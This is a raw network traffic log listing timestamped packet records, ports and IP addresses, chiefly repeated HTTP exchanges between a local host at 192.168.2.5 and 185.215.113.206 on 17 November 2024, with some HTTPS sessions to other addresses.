Nov 17, 2024 03:42:40.751085043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751105070 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751116037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751137972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751143932 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751176119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751187086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751188040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751214027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751230001 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751398087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751410961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751421928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751432896 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751460075 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751483917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751516104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751552105 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751573086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751584053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751616955 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751705885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751734972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751750946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751776934 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751792908 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751858950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751884937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751894951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.751924992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.751948118 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.752016068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.752062082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.752105951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.752116919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.752126932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.752171993 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.752197027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.790661097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790676117 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790693998 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790704966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790714025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790724039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790735006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790739059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.790746927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790776014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.790796041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.790889978 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790921926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790935040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.790935993 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.790972948 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791006088 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791032076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791069984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791141987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791152954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791162968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791188002 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791202068 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791357040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791373968 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791385889 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791395903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791407108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791428089 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791455030 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791583061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791665077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791676044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791712046 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791713953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791723967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791733027 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791759014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.791901112 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791930914 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791943073 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.791975975 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.796525002 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.826056957 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:40.826137066 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:40.826181889 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:40.826245070 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:40.826273918 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:40.826278925 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:40.826339006 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:40.827044964 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:40.827045918 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:40.827064037 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:40.827426910 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:40.827502966 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:40.827573061 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:40.842948914 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.843410969 CET	49872	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.843425035 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.843898058 CET	49872	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.843902111 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.846616983 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.847122908 CET	49873	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.847162962 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.847471952 CET	49873	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.847484112 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.859509945 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:40.859796047 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:40.859813929 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:40.861526012 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:40.861591101 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:40.862797022 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:40.862874985 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:40.862983942 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:40.862996101 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:40.870260000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870332003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.870345116 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870359898 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870372057 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870383024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870393991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870402098 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.870405912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870425940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870436907 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.870438099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870449066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870460033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870465040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.870471954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.870481968 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.870496988 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.870523930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.871454954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871485949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871498108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871510029 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.871510983 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871531963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871536970 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.871563911 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.871578932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871591091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871601105 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871615887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871625900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871632099 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.871638060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.871639013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871649027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.871670008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.871695042 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.893542051 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.893642902 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.893698931 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.894510984 CET	49874	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.894531965 CET	443	49874	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.896368027 CET	49885	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.896409988 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.896471977 CET	49885	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.896672964 CET	49885	443	192.168.2.5	108.156.211.19
Nov 17, 2024 03:42:40.896687984 CET	443	49885	108.156.211.19	192.168.2.5
Nov 17, 2024 03:42:40.903757095 CET	49871	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:40.910001040 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910024881 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910036087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910044909 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910057068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910068035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910079002 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910089970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910100937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910101891 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910114050 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910156965 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910185099 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910413980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910423994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910442114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910459042 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910463095 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910470963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910482883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910487890 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910494089 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910507917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910526991 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910794973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910806894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910820961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910860062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910876989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910916090 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910973072 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.910986900 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.910999060 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.911010027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.911048889 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.911190033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.911201954 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.911211967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.911236048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.911243916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.911256075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.911262989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.911289930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.915260077 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:40.915507078 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:40.915535927 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:40.916992903 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:40.917062998 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:40.918216944 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:40.918320894 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:40.918574095 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:40.918591976 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:40.918637037 CET	49870	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:40.918697119 CET	443	49870	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:40.974041939 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.974196911 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.974630117 CET	49872	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.975017071 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:40.975265980 CET	49872	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.975281000 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.975297928 CET	49872	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.975302935 CET	443	49872	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.975502968 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:40.975521088 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:40.977014065 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:40.977078915 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:40.978286982 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:40.978367090 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:40.978483915 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:40.980518103 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.980561972 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.980642080 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.980839014 CET	49886	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.980853081 CET	443	49886	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.984062910 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.988708973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.988750935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.988761902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.988771915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.988775969 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.988790989 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.988810062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.988888979 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.988902092 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.988913059 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.988948107 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.988953114 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.988964081 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989012957 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.989092112 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.989130020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989140034 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989181042 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.989186049 CET	49873	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.989204884 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.989232063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989243031 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989285946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.989308119 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989319086 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989330053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989356041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.989370108 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.989487886 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989500999 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989512920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989521980 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.989553928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.989578962 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.990114927 CET	49873	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.990114927 CET	49873	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.990139008 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.990160942 CET	443	49873	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.990432024 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990443945 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990454912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990497112 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.990530014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.990546942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990559101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990569115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990586996 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.990602970 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.990719080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990730047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990750074 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990760088 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.990778923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990789890 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:40.990789890 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.990817070 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.990843058 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:40.994079113 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.994096994 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:40.994164944 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.994471073 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:40.994483948 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.011410952 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:41.011440039 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:41.011550903 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:41.011872053 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:41.011887074 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:41.013695002 CET	443	49871	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:41.019344091 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:41.028655052 CET	49875	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:41.028664112 CET	443	49875	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:41.028816938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028836012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028862953 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.028865099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028877974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028889894 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.028891087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028909922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.028929949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.028950930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028964043 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028975964 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028986931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.028992891 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029099941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029099941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029160023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029197931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029205084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029211044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029242992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029330015 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029360056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029366970 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029372931 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029393911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029401064 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029429913 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.029607058 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029619932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.029632092 CET	80	49797	185.215.113.206	192.168.2.5
